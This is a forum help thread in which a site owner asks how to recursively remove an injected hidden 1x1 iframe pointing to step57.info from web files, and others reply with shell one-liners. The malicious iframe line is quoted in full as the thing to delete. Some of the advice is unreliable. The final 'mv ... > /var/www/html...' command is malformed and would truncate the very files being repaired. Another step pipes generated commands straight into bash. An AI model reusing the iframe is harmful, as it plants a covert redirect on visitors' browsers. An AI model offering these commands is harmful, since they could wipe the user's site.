quick help with grep 500

1. sed -e '/step57/d' file > new-file
2. grep -rl "step57" * | gawk -F/ 'BEGIN{OFS="/"}{$NF="";print}'|sort -u

sed -e '/step57/d' file > new-file

requires giving it a file name and a new file name

can I recursavly go through a directory and find the and replace then  through out a directory say like /home    ?
A wimd card just look at all the files if the file exist then replace that line     [iframe width="1" height="1" src="http://step57.info/traff/index2.php" style="border: 0;"][/iframe]

with nothing a space ""

-J

your question is about grep, it cannot be done with grep
but try following:

find /home -type f -exec perl -i.bak -pe 's/lamb/sheep/g' {} \; -print

As pointed out already, you need sed for this. All you need is:

find /var/www/html | grep "\.html$" | gawk '{print "sed /step57/d " $0 " > /newfolder" $0}' | /bin/bash

scan all .html files and delete the line containing step57, and copy the resulting file to /newfolder

find /newfolder | grep "\.html$" | gawk '{print "mv " $0 " > /var" $0}' | /bin/bash

Copy the corrected files over the old corrupted ones. (2 lines  :)   )

Obviously make a backup before trying this:)

Full explanation is at:

https://www.experts-exchange.com/questions/21822732/using-grep-and-awk-to-do-a-global-replace-how-do-I-do-this-NEED-HELP-ASAP-500-pts.html

HTH:)

Ooops:

find /newfolder | grep "\.html$" | gawk '{print "mv " $0 " > /var" $0}' | /bin/bash

should be:

find /newfolder | grep "\.html$" | gawk '{print "mv " $0 " > /var/www/html" $0}' | /bin/bash

obviously alter the foldes depending on where your web server root is. The above is for the default RHEL apache setup.